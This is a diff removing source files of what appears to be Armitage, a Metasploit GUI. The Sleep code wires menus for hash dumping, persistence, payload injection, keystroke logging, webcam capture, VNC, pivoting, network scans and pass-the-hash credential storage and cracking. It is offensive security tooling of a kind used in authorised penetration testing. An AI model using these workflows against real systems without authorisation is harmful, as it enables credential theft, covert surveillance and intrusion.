|
|
||||||
m_cmd($sid, "hashdump");
|
|
||||||
}, $sid => "$sid"));
|
|
||||||
|
|
||||||
|
|
||||||
item($h, "registry method", "r", lambda({
|
|
||||||
thread(lambda({
|
|
||||||
launch_dialog("Dump Hashes", "post", "windows/gather/smart_hashdump", 1, $null, %(SESSION => $sid, GETSYSTEM => "1"));
|
|
||||||
}, \$sid));
|
|
||||||
}, $sid => "$sid"));
|
|
||||||
|
|
||||||
item($j, "Persist", 'P', lambda({
|
|
||||||
thread(lambda({
|
|
||||||
launch_dialog("Persistence", "post", "windows/manage/persistence", 1, $null, %(SESSION => $sid, LPORT => %MSF_GLOBAL['LPORT'], HANDLER => "0"));
|
|
||||||
}, \$sid));
|
|
||||||
}, $sid => "$sid"));
|
|
||||||
|
|
||||||
item($j, "Pass Session", 'S', lambda({
|
|
||||||
thread(lambda({
|
|
||||||
launch_dialog("Pass Session", "post", "windows/manage/payload_inject", 1, $null, %(SESSION => $sid, LPORT => %MSF_GLOBAL['LPORT'], HANDLER => "0"));
|
|
||||||
}, \$sid));
|
|
||||||
}, $sid => "$sid"));
|
|
||||||
|
|
||||||
setupMenu($j, "meterpreter_access", @($sid));
|
|
||||||
}
|
|
||||||
|
|
||||||
$j = menu($1, "Interact", 'I');
|
|
||||||
|
|
||||||
if ("*win*" iswm $platform || sessionToOS($sid) eq "Microsoft Windows") {
|
|
||||||
item($j, "Command Shell", 'C', lambda({ createShellTab($sid); }, $sid => "$sid"));
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
#item($j, "Command Shell", 'C', lambda({ createCommandTab($sid, "/bin/bash"); }, $sid => "$sid"));
|
|
||||||
}
|
|
||||||
|
|
||||||
item($j, "Meterpreter Shell", 'M', lambda({ createMeterpreterTab($sid); }, $sid => "$sid"));
|
|
||||||
|
|
||||||
if ("*win*" iswm $platform) {
|
|
||||||
item($j, "Desktop (VNC)", 'D', lambda({
|
|
||||||
local('$display');
|
|
||||||
$display = rand(9) . rand(9);
|
|
||||||
%handlers["run"] = lambda({
|
|
||||||
if ($0 eq "begin") {
|
|
||||||
local('$a');
|
|
||||||
$a = iff($REMOTE, $MY_ADDRESS, "127.0.0.1");
|
|
||||||
showError("$2 $+ \nConnect VNC viewer to $a $+ :59 $+ $display (display $display $+ )\n\nIf your connection is refused, you may need to migrate to a \nnew process to set up VNC.");
|
|
||||||
%handlers["run"] = $null;
|
|
||||||
}
|
|
||||||
}, \$display);
|
|
||||||
|
|
||||||
if ($REMOTE) {
|
|
||||||
m_cmd($sid, "run vnc -V -t -O -v 59 $+ $display -p " . randomPort() . " -i");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
m_cmd($sid, "run vnc -V -t -v 59 $+ $display -p " . randomPort() . " -i");
|
|
||||||
}
|
|
||||||
}, $sid => "$sid"));
|
|
||||||
}
|
|
||||||
|
|
||||||
setupMenu($j, "meterpreter_interact", @($sid));
|
|
||||||
|
|
||||||
$j = menu($1, "Explore", 'E');
|
|
||||||
item($j, "Browse Files", 'B', lambda({ createFileBrowser($sid, $platform); }, $sid => "$sid", \$platform));
|
|
||||||
item($j, "Show Processes", 'P', lambda({ createProcessBrowser($sid); }, $sid => "$sid"));
|
|
||||||
if ("*win*" iswm $platform) {
|
|
||||||
item($j, "Log Keystrokes", 'K', lambda({
|
|
||||||
thread(lambda({
|
|
||||||
launch_dialog("Log Keystrokes", "post", "windows/capture/keylog_recorder", 1, $null, %(SESSION => $sid, MIGRATE => 1, ShowKeystrokes => 1));
|
|
||||||
}, \$sid));
|
|
||||||
}, $sid => "$sid"));
|
|
||||||
}
|
|
||||||
|
|
||||||
item($j, "Screenshot", 'S', createScreenshotViewer("$sid"));
|
|
||||||
|
|
||||||
if ("*win*" iswm $platform) {
|
|
||||||
item($j, "Webcam Shot", 'W', createWebcamViewer("$sid"));
|
|
||||||
}
|
|
||||||
|
|
||||||
setupMenu($j, "meterpreter_explore", @($sid));
|
|
||||||
|
|
||||||
separator($j);
|
|
||||||
|
|
||||||
item($j, "Post Modules", 'M', lambda({ showPostModules($sid); }, $sid => "$sid"));
|
|
||||||
|
|
||||||
$j = menu($1, "Pivoting", 'P');
|
|
||||||
item($j, "Setup...", 'A', setupPivotDialog("$sid"));
|
|
||||||
item($j, "Remove", 'R', lambda({ killPivots($sid, $session); }, \$session, $sid => "$sid"));
|
|
||||||
|
|
||||||
setupMenu($1, "meterpreter_bottom", @($sid));
|
|
||||||
|
|
||||||
if ("*win*" iswm $platform) {
|
|
||||||
item($1, "ARP Scan...", 'A', setupArpScanDialog("$sid"));
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
item($1, "Ping Sweep...", 'P', setupPingSweepDialog("$sid"));
|
|
||||||
}
|
|
||||||
|
|
||||||
separator($1);
|
|
||||||
|
|
||||||
item($1, "Kill", 'K', lambda({ call_async($client, "session.stop", $sid); }, $sid => "$sid"));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub launch_msf_scans {
|
|
||||||
local('@modules $1 $hosts');
|
|
||||||
|
|
||||||
@modules = filter({ return iff("*_version" iswm $1, $1); }, @auxiliary);
|
|
||||||
|
|
||||||
$hosts = iff($1 is $null, ask("Enter range (e.g., 192.168.1.0/24):"), $1);
|
|
||||||
if ($hosts is $null) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
thread(lambda({
|
|
||||||
local('$scanner $index $queue %ports %discover $port %o $temp');
|
|
||||||
%ports = ohash();
|
|
||||||
%discover = ohash();
|
|
||||||
setMissPolicy(%ports, { return @(); });
|
|
||||||
setMissPolicy(%discover, { return @(); });
|
|
||||||
|
|
||||||
elog("launched msf scans at: $hosts");
|
|
||||||
|
|
||||||
$queue = createDisplayTab("Scan", $host => "all", $file => "scan");
|
|
||||||
|
|
||||||
[$queue append: "[*] Building list of scan ports and modules"];
|
|
||||||
|
|
||||||
# build up a list of scan ports
|
|
||||||
foreach $index => $scanner (@modules) {
|
|
||||||
if ($scanner ismatch 'scanner/(.*?)/\1_version') {
|
|
||||||
%o = call($client, "module.options", "auxiliary", $scanner);
|
|
||||||
if ('RPORT' in %o) {
|
|
||||||
$port = %o['RPORT']['default'];
|
|
||||||
push(%ports[$port], $scanner);
|
|
||||||
if ($port == 80) {
|
|
||||||
push(%ports['443'], $scanner);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
safetyCheck();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# add these ports to our list of ports to scan.. these come from querying all of Metasploit's modules
|
|
||||||
# for the default ports
|
|
||||||
foreach $port (@(50000, 21, 1720, 80, 443, 143, 3306, 1521, 110, 5432, 50013, 25, 161, 22, 23, 17185, 135, 8080, 4848, 1433, 5560, 512, 513, 514, 445, 5900, 5038, 111, 139, 49, 515, 7787, 2947, 7144, 9080, 8812, 2525, 2207, 3050, 5405, 1723, 1099, 5555, 921, 10001, 123, 3690, 548, 617, 6112, 6667, 3632, 783, 10050, 38292, 12174, 2967, 5168, 3628, 7777, 6101, 10000, 6504, 41523, 41524, 2000, 1900, 10202, 6503, 6070, 6502, 6050, 2103, 41025, 44334, 2100, 5554, 12203, 26000, 4000, 1000, 8014, 5250, 34443, 8028, 8008, 7510, 9495, 1581, 8000, 18881, 57772, 9090, 9999, 81, 3000, 8300, 8800, 8090, 389, 10203, 5093, 1533, 13500, 705, 623, 4659, 20031, 16102, 6080, 6660, 11000, 19810, 3057, 6905, 1100, 10616, 10628, 5051, 1582, 65535, 105, 22222, 30000, 113, 1755, 407, 1434, 2049, 689, 3128, 20222, 20034, 7580, 7579, 38080, 12401, 910, 912, 11234, 46823, 5061, 5060, 2380, 69, 5800, 62514, 42, 5631, 902, 5985)) {
|
|
||||||
$temp = %ports[$port];
|
|
||||||
}
|
|
||||||
|
|
||||||
# add a few left out modules
|
|
||||||
push(%ports['445'], "scanner/smb/smb_version");
|
|
||||||
|
|
||||||
[$queue append: "[*] Launching TCP scan"];
|
|
||||||
[$queue addCommand: $null, "use auxiliary/scanner/portscan/tcp"];
|
|
||||||
[$queue setOptions: %(PORTS => join(", ", keys(%ports)), RHOSTS => $hosts, THREADS => 24)];
|
|
||||||
[$queue addCommand: "x", "run -j"];
|
|
||||||
|
|
||||||
[$queue addSessionListener: lambda({
|
|
||||||
this('$start @launch');
|
|
||||||
local('$text $host $port $hosts $modules $module $options');
|
|
||||||
|
|
||||||
foreach $text (split("\n", $3)) {
|
|
||||||
if ($text ismatch '... (.*?):(\d+) - TCP OPEN') {
|
|
||||||
($host, $port) = matched();
|
|
||||||
push(%discover[$port], $host);
|
|
||||||
}
|
|
||||||
else if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' && $start is $null) {
|
|
||||||
$start = 1;
|
|
||||||
[$queue append: "\n[*] Starting host discovery scans"];
|
|
||||||
|
|
||||||
# gather up the list of modules that we will launch...
|
|
||||||
foreach $port => $hosts (%discover) {
|
|
||||||
if ($port in %ports) {
|
|
||||||
$modules = %ports[$port];
|
|
||||||
foreach $module ($modules) {
|
|
||||||
if ($port == 443) {
|
|
||||||
push(@launch, @($module, %(RHOSTS => join(", ", $hosts), RPORT => $port, THREADS => 24, SSL => "1")));
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
push(@launch, @($module, %(RHOSTS => join(", ", $hosts), RPORT => $port, THREADS => 24)));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' && size(@launch) > 0) {
|
|
||||||
[$queue append: "\n[*] " . size(@launch) . " scan" . iff(size(@launch) != 1, "s") . " to go..."];
|
|
||||||
($module, $options) = shift(@launch);
|
|
||||||
[$queue addCommand: $null, "use $module"];
|
|
||||||
[$queue setOptions: $options];
|
|
||||||
[$queue addCommand: $null, "run -j"];
|
|
||||||
}
|
|
||||||
else if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' && size(@launch) == 0) {
|
|
||||||
$time = (ticks() - $time) / 1000.0;
|
|
||||||
[$queue append: "\n[*] Scan complete in $time $+ s"];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}, \$hosts, \%ports, \@modules, \%discover, \$queue, $time => ticks())];
|
|
||||||
|
|
||||||
[$queue start];
|
|
||||||
}, \$hosts, \@modules));
|
|
||||||
}
|
|
|
@ -1,296 +0,0 @@
|
||||||
#
|
|
||||||
# Process Browser (for Meterpreter)
|
|
||||||
#
|
|
||||||
|
|
||||||
import table.*;
|
|
||||||
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.event.*;
|
|
||||||
import javax.swing.table.*;
|
|
||||||
import ui.*;
|
|
||||||
|
|
||||||
sub createModuleBrowser {
|
|
||||||
local('$tree $split $scroll1 $t');
|
|
||||||
$split = [new JSplitPane: [JSplitPane HORIZONTAL_SPLIT], createModuleList(ohash(auxiliary => buildTree(@auxiliary), exploit => buildTree(@exploits), post => buildTree(@post), payload => buildTree(@payloads)), $2), iff($1, $1, [new JPanel])];
|
|
||||||
[$split setOneTouchExpandable: 1];
|
|
||||||
return $split;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub isClientside {
|
|
||||||
local('$options');
|
|
||||||
$options = call($mclient, "module.options", "exploit", $1);
|
|
||||||
return iff ('RHOST' in $options || 'RHOSTS' in $options, $null, 1);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub showModulePopup {
|
|
||||||
local('$event $type $path');
|
|
||||||
($event, $type, $path) = @_;
|
|
||||||
|
|
||||||
# we go through this hassle because &isClientside calls module.options which could block
|
|
||||||
# and freeze the UI--we don't want to do that...
|
|
||||||
thread(lambda(&_showModulePopup, \$event, \$type, \$path));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub _showModulePopup {
|
|
||||||
local('$menu');
|
|
||||||
if (($type eq "exploit" && !isClientside($path)) || ($type eq "auxiliary" && "*_login" iswm $path)) {
|
|
||||||
$menu = [new JPopupMenu];
|
|
||||||
item($menu, "Relevant Targets", 'R', lambda({
|
|
||||||
thread(lambda({
|
|
||||||
local('$options %filter $os');
|
|
||||||
$options = call($mclient, "module.options", $type, $module);
|
|
||||||
|
|
||||||
if ("RPORT" in $options) {
|
|
||||||
%filter["ports"] = $options['RPORT']['default'];
|
|
||||||
|
|
||||||
if (%filter["ports"] eq '445') {
|
|
||||||
%filter["ports"] .= ", 139";
|
|
||||||
}
|
|
||||||
else if (%filter["ports"] eq '80') {
|
|
||||||
%filter["ports"] .= ", 443";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
$os = split('/', $module)[0];
|
|
||||||
if ($os eq "windows") {
|
|
||||||
%filter["os"] = "windows";
|
|
||||||
}
|
|
||||||
else if ($os eq "linux") {
|
|
||||||
%filter["os"] = "linux";
|
|
||||||
}
|
|
||||||
else if ($os eq "osx") {
|
|
||||||
%filter["os"] = "ios, mac";
|
|
||||||
}
|
|
||||||
|
|
||||||
if (size(%filter) > 0) {
|
|
||||||
thread(lambda({
|
|
||||||
call($mclient, "db.filter", %filter);
|
|
||||||
}, \%filter));
|
|
||||||
[$frame setTitle: "$TITLE - $module"]
|
|
||||||
showError("Created a dynamic workspace for this module.\nUse Workspaces -> Show All to see all hosts.");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
showError("I'm sorry, this option doesn't work for\nthis module.");
|
|
||||||
}
|
|
||||||
}, \$module, \$type));
|
|
||||||
}, $module => $path, \$type));
|
|
||||||
|
|
||||||
setupMenu($menu, "module", @($type, $path));
|
|
||||||
|
|
||||||
dispatchEvent(lambda({
|
|
||||||
[$menu show: [$event getSource], [$event getX], [$event getY]];
|
|
||||||
}, \$menu, \$event));
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
dispatchEvent(lambda({
|
|
||||||
installMenu($event, "module", @($type, $path));
|
|
||||||
}, \$type, \$path, \$event));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub moduleAction {
|
|
||||||
local('$type $path $hosts');
|
|
||||||
($type, $path, $hosts) = @_;
|
|
||||||
|
|
||||||
thread(lambda({
|
|
||||||
if ($path in @exploits || $path in @auxiliary || $path in @payloads || $path in @post) {
|
|
||||||
if ($type eq "exploit") {
|
|
||||||
if (isClientside($path) || $path eq "windows/local/current_user_psexec") {
|
|
||||||
launch_dialog($path, $type, $path, 1, $hosts);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
local('$a $b');
|
|
||||||
$a = call($mclient, "module.info", "exploit", $path);
|
|
||||||
$b = call($mclient, "module.options", "exploit", $path);
|
|
||||||
dispatchEvent(lambda({
|
|
||||||
attack_dialog($a, $b, $hosts, $path);
|
|
||||||
}, \$a, \$b, \$hosts, \$path));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
launch_dialog($path, $type, $path, 1, $hosts);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}, \$type, \$path, \$hosts));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub createModuleList {
|
|
||||||
local('$tree $split $scroll1 $t');
|
|
||||||
$tree = [new ATree: treeNodes($null, $1)];
|
|
||||||
[$tree setRootVisible: 0];
|
|
||||||
[$tree setDragEnabled: 1];
|
|
||||||
[$tree setTransferHandler: $2];
|
|
||||||
|
|
||||||
addMouseListener($tree, lambda({
|
|
||||||
local('$t');
|
|
||||||
$t = [$1 isPopupTrigger];
|
|
||||||
if ($t == 0 && ($0 ne "mousePressed" || [$1 getClickCount] < 2)) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
local('$p');
|
|
||||||
$p = [[$1 getSource] getPathForLocation: [$1 getX], [$1 getY]];
|
|
||||||
if ($p is $null) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
else if ([$1 isPopupTrigger]) {
|
|
||||||
local('$selected $type $path');
|
|
||||||
$selected = map({ return "$1"; }, [$p getPath]);
|
|
||||||
$type = $selected[1];
|
|
||||||
$path = join('/', sublist($selected, 2));
|
|
||||||
showModulePopup($1, $type, $path);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
local('$selected $type $path $hosts');
|
|
||||||
$selected = map({ return "$1"; }, [$p getPath]);
|
|
||||||
if (size($selected) > 2) {
|
|
||||||
$type = $selected[1];
|
|
||||||
$path = join('/', sublist($selected, 2));
|
|
||||||
$hosts = [$targets getSelectedHosts];
|
|
||||||
moduleAction($type, $path, $hosts);
|
|
||||||
}
|
|
||||||
}));
|
|
||||||
|
|
||||||
$scroll1 = [new JScrollPane: $tree, [JScrollPane VERTICAL_SCROLLBAR_AS_NEEDED], [JScrollPane HORIZONTAL_SCROLLBAR_AS_NEEDED]];
|
|
||||||
|
|
||||||
local('$search $button');
|
|
||||||
$search = [new ATextField: 10];
|
|
||||||
[$search setToolTipText: "Enter a query to filter the MSF modules"];
|
|
||||||
[$search addKeyListener: lambda({
|
|
||||||
this('$id');
|
|
||||||
|
|
||||||
if ($0 ne "keyReleased") {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
local('$model $_id $text');
|
|
||||||
$text = [$search getText];
|
|
||||||
if ($text ne "" && strlen($text) >= 3) {
|
|
||||||
local('$filter %list $a $e $p $o $x $f');
|
|
||||||
$filter = lambda({ return iff(lc("* $+ $s $+ *") iswm lc($1), $1); }, $s => strrep($text, ' ', '*'));
|
|
||||||
%list = ohash();
|
|
||||||
$a = filter($filter, @auxiliary);
|
|
||||||
$e = filter($filter, @exploits);
|
|
||||||
$p = filter($filter, @payloads);
|
|
||||||
$o = filter($filter, @post);
|
|
||||||
if (size($a) > 0) { %list["auxiliary"] = buildTree($a); }
|
|
||||||
if (size($e) > 0) { %list["exploit"] = buildTree($e); }
|
|
||||||
if (size($p) > 0) { %list["payload"] = buildTree($p); }
|
|
||||||
if (size($o) > 0) { %list["post"] = buildTree($o); }
|
|
||||||
|
|
||||||
$_id = [(%list . "") hashCode];
|
|
||||||
|
|
||||||
if ($id ne $_id) {
|
|
||||||
$id = $_id;
|
|
||||||
$model = treeNodes($null, %list);
|
|
||||||
[[$tree getModel] setRoot: $model];
|
|
||||||
|
|
||||||
for ($x = 0; $x < [$tree getRowCount]; $x++) {
|
|
||||||
[$tree expandRow: $x];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$id = -1L;
|
|
||||||
$model = treeNodes($null, $original);
|
|
||||||
[[$tree getModel] setRoot: $model];
|
|
||||||
}
|
|
||||||
}, $original => $1, \$tree, \$search)];
|
|
||||||
|
|
||||||
local('$panel');
|
|
||||||
$panel = [new JPanel];
|
|
||||||
[$panel setLayout: [new BorderLayout]];
|
|
||||||
|
|
||||||
[$panel add: $scroll1, [BorderLayout CENTER]];
|
|
||||||
[$panel add: wrapComponent($search, 5), [BorderLayout SOUTH]];
|
|
||||||
|
|
||||||
[$panel setPreferredSize: [new Dimension: 180, 600] ];
|
|
||||||
[$panel setMinimumSize: [new Dimension: 180, 0]];
|
|
||||||
|
|
||||||
let(&showPostModules, \$tree, \$search)
|
|
||||||
let(&showModules, \$tree, \$search)
|
|
||||||
return $panel;
|
|
||||||
}
|
|
||||||
|
|
||||||
# shows the post modules compatible with a session... for this to work, the
|
|
||||||
# code that creates the module browser must call: let(&showExploitModules, $tree => ..., $search => ...)
|
|
||||||
sub showModules {
|
|
||||||
local('%list $model $1 $2 $3 $4');
|
|
||||||
|
|
||||||
%list = ohash(
|
|
||||||
auxiliary => iff($1, buildTree($1), $null),
|
|
||||||
exploit => iff($2, buildTree($2), $null),
|
|
||||||
payload => iff($3, buildTree($3), $null),
|
|
||||||
post => iff($4, buildTree($4), $null));
|
|
||||||
$model = treeNodes($null, %list);
|
|
||||||
|
|
||||||
dispatchEvent(lambda({
|
|
||||||
local('$x');
|
|
||||||
[[$tree getModel] setRoot: $model];
|
|
||||||
|
|
||||||
for ($x = 0; $x < [$tree getRowCount]; $x++) {
|
|
||||||
[$tree expandRow: $x];
|
|
||||||
}
|
|
||||||
[$search setText: ""];
|
|
||||||
}, \$search, \$tree, \$model));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub showExploitModules {
|
|
||||||
local('%list $model');
|
|
||||||
if (size($1) == 0) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
showModules($null, $1, $null, $null);
|
|
||||||
}
|
|
||||||
|
|
||||||
# shows the post modules compatible with a session... for this to work, the
|
|
||||||
# code that creates the module browser must call: let(&showPostModules, $tree => ..., $search => ...)
|
|
||||||
sub showPostModules {
|
|
||||||
local('@allowed $2 $3');
|
|
||||||
@allowed = getOS(sessionToOS($1));
|
|
||||||
fork({
|
|
||||||
local('$modules %list $model');
|
|
||||||
$modules = call($client, "session.compatible_modules", $sid)["modules"];
|
|
||||||
$modules = map({ return substr($1, 5); }, $modules);
|
|
||||||
|
|
||||||
# filter out operating systems.
|
|
||||||
$modules = filter(lambda({
|
|
||||||
local('$o');
|
|
||||||
($o) = split('/', $1);
|
|
||||||
return iff($o in @allowed, $1);
|
|
||||||
}, \@allowed), $modules);
|
|
||||||
|
|
||||||
# filter out other stuff if a filter exists...
|
|
||||||
if ($filter !is $null) {
|
|
||||||
$modules = filter(lambda({ return iff($filter iswm $1, $1); }, \$filter), $modules);
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($base is $null) {
|
|
||||||
%list = ohash(post => buildTree($modules));
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
%list = $base;
|
|
||||||
%list['post'] = buildTree($modules);
|
|
||||||
}
|
|
||||||
$model = treeNodes($null, %list);
|
|
||||||
|
|
||||||
dispatchEvent(lambda({
|
|
||||||
local('$x');
|
|
||||||
[[$tree getModel] setRoot: $model];
|
|
||||||
|
|
||||||
for ($x = 0; $x < [$tree getRowCount]; $x++) {
|
|
||||||
[$tree expandRow: $x];
|
|
||||||
}
|
|
||||||
[$search setText: ""];
|
|
||||||
}, \$search, \$tree, \$model));
|
|
||||||
}, \$tree, \$search, $sid => $1, \$client, \@allowed, $filter => $2, $base => $3);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub createModuleBrowserTab {
|
|
||||||
[$frame addTab: "Modules", createModuleBrowser(), $null];
|
|
||||||
}
|
|
|
@ -1,436 +0,0 @@
|
||||||
#
|
|
||||||
# pass the hash attack gets its own file.
|
|
||||||
#
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.event.*;
|
|
||||||
import javax.swing.table.*;
|
|
||||||
|
|
||||||
import msf.*;
|
|
||||||
import table.*;
|
|
||||||
import ui.*;
|
|
||||||
|
|
||||||
%handlers["hashdump"] = {
|
|
||||||
this('$host $safe $queue');
|
|
||||||
|
|
||||||
if ($0 eq "begin" && "*Unknown command*hashdump*" iswm $2) {
|
|
||||||
$host = $null;
|
|
||||||
|
|
||||||
if ($safe is $null) {
|
|
||||||
$safe = 1;
|
|
||||||
m_cmd($1, "use priv");
|
|
||||||
m_cmd($1, "hashdump");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
showError("hashdump is not available here");
|
|
||||||
$safe = $null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if ($0 eq "execute") {
|
|
||||||
$host = sessionToHost($1);
|
|
||||||
$queue = [new armitage.ConsoleQueue: $client];
|
|
||||||
[$queue start];
|
|
||||||
elog("dumped hashes on $host");
|
|
||||||
showError("Dumping Hashes.\nUse View -> Credentials to see them.");
|
|
||||||
}
|
|
||||||
else if ($0 eq "update" && $host !is $null && $2 ismatch '(.*?):(\d+):([a-zA-Z0-9]+:[a-zA-Z0-9]+).*?') {
|
|
||||||
local('$user $gid $hash');
|
|
||||||
($user, $gid, $hash) = matched();
|
|
||||||
|
|
||||||
# strip any funky characters that will cause this call to throw an exception
|
|
||||||
$user = replace($user, '\P{Graph}', "");
|
|
||||||
$hash = fixPass($hash);
|
|
||||||
|
|
||||||
[$queue addCommand: $null, "creds -a $host -p 445 -t smb_hash -u $user -P $hash"];
|
|
||||||
}
|
|
||||||
else if ($0 eq "end" && ("*Error running*" iswm $2 || "*Operation failed*" iswm $2)) {
|
|
||||||
[$queue stop];
|
|
||||||
showError("Hash dump failed. Ask yourself:\n\n1) Do I have system privileges?\n\nNo? Then use Access -> Escalate Privileges\n\n2) Is meterpreter running in a process owned\nby a System user?\n\nNo? Use Explore -> Show Processes and migrate\nto a process owned by a System user.");
|
|
||||||
$host = $null;
|
|
||||||
}
|
|
||||||
else if ($0 eq "end" && $host !is $null) {
|
|
||||||
[$queue stop];
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
sub refreshCredsTable {
|
|
||||||
thread(lambda({
|
|
||||||
[Thread yield];
|
|
||||||
local('$creds $cred $desc $aclient %check $key');
|
|
||||||
[$model clear: 128];
|
|
||||||
foreach $desc => $aclient (convertAll([$__frame__ getClients])) {
|
|
||||||
$creds = call($aclient, "db.creds2", [new HashMap])["creds2"];
|
|
||||||
foreach $cred ($creds) {
|
|
||||||
$key = join("~~", values($cred, @("user", "pass", "host")));
|
|
||||||
if ($key in %check) {
|
|
||||||
|
|
||||||
}
|
|
||||||
else if ($title ne "login" || $cred['ptype'] ne "smb_hash") {
|
|
||||||
[$model addEntry: $cred];
|
|
||||||
%check[$key] = 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
[$model fireListeners];
|
|
||||||
}, $model => $1, $title => $2));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub refreshCredsTableLocal {
|
|
||||||
thread(lambda({
|
|
||||||
[Thread yield];
|
|
||||||
local('$creds $cred $desc $aclient %check $key');
|
|
||||||
[$model clear: 128];
|
|
||||||
$creds = call($client, "db.creds2", [new HashMap])["creds2"];
|
|
||||||
foreach $cred ($creds) {
|
|
||||||
$key = join("~~", values($cred, @("user", "pass", "host")));
|
|
||||||
if ($key in %check) {
|
|
||||||
}
|
|
||||||
else if ($title ne "login" || $cred['ptype'] ne "smb_hash") {
|
|
||||||
[$model addEntry: $cred];
|
|
||||||
%check[$key] = 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
[$model fireListeners];
|
|
||||||
}, $model => $1, $title => $2));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub show_hashes {
|
|
||||||
local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $scroll $3');
|
|
||||||
|
|
||||||
$dialog = dialog($1, 480, $2);
|
|
||||||
|
|
||||||
$model = [new GenericTableModel: @("user", "pass", "host"), "user", 128];
|
|
||||||
|
|
||||||
$table = [new ATable: $model];
|
|
||||||
$sorter = [new TableRowSorter: $model];
|
|
||||||
[$sorter toggleSortOrder: 0];
|
|
||||||
[$sorter setComparator: 2, &compareHosts];
|
|
||||||
[$table setRowSorter: $sorter];
|
|
||||||
|
|
||||||
if ($3) {
|
|
||||||
refreshCredsTableLocal($model, $1);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
refreshCredsTable($model, $1);
|
|
||||||
}
|
|
||||||
|
|
||||||
$scroll = [new JScrollPane: $table];
|
|
||||||
[$scroll setPreferredSize: [new Dimension: 480, 130]];
|
|
||||||
[$dialog add: $scroll, [BorderLayout CENTER]];
|
|
||||||
|
|
||||||
return @($dialog, $table, $model);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub createCredentialsTab {
|
|
||||||
local('$dialog $table $model $panel $export $crack $refresh');
|
|
||||||
($dialog, $table, $model) = show_hashes("", 320, 1);
|
|
||||||
[$dialog removeAll];
|
|
||||||
|
|
||||||
addMouseListener($table, lambda({
|
|
||||||
if ([$1 isPopupTrigger]) {
|
|
||||||
local('$popup $entries');
|
|
||||||
$popup = [new JPopupMenu];
|
|
||||||
$entries = [$model getSelectedValuesFromColumns: $table, @("user", "pass", "host")];
|
|
||||||
item($popup, "Delete", 'D', lambda({
|
|
||||||
local('$queue $entry $user $pass $host');
|
|
||||||
$queue = [new armitage.ConsoleQueue: $client];
|
|
||||||
foreach $entry ($entries) {
|
|
||||||
($user, $pass, $host) = $entry;
|
|
||||||
$pass = fixPass($pass);
|
|
||||||
[$queue addCommand: $null, "creds -d $host -u $user -P $pass"];
|
|
||||||
}
|
|
||||||
|
|
||||||
[$queue addCommand: "x", "creds -h"];
|
|
||||||
|
|
||||||
[$queue addListener: lambda({
|
|
||||||
[$queue stop];
|
|
||||||
refreshCredsTable($model, $null);
|
|
||||||
}, \$model, \$queue)];
|
|
||||||
|
|
||||||
[$queue start];
|
|
||||||
[$queue stop];
|
|
||||||
}, \$table, \$model, \$entries));
|
|
||||||
[$popup show: [$1 getSource], [$1 getX], [$1 getY]];
|
|
||||||
}
|
|
||||||
}, \$table, \$model));
|
|
||||||
|
|
||||||
$panel = [new JPanel];
|
|
||||||
[$panel setLayout: [new BorderLayout]];
|
|
||||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
|
||||||
|
|
||||||
$refresh = [new JButton: "Refresh"];
|
|
||||||
[$refresh addActionListener: lambda({
|
|
||||||
refreshCredsTableLocal($model, $null);
|
|
||||||
}, \$model)];
|
|
||||||
|
|
||||||
$crack = [new JButton: "Crack Passwords"];
|
|
||||||
[$crack addActionListener: {
|
|
||||||
thread({
|
|
||||||
launch_dialog("Crack Passwords", "auxiliary", "analyze/jtr_crack_fast", 1);
|
|
||||||
});
|
|
||||||
}];
|
|
||||||
|
|
||||||
$export = [new JButton: "Export"];
|
|
||||||
[$export addActionListener: {
|
|
||||||
if ($client !is $mclient) {
|
|
||||||
cmd_safe("db_export -f pwdump -a creds.export", {
|
|
||||||
thread({
|
|
||||||
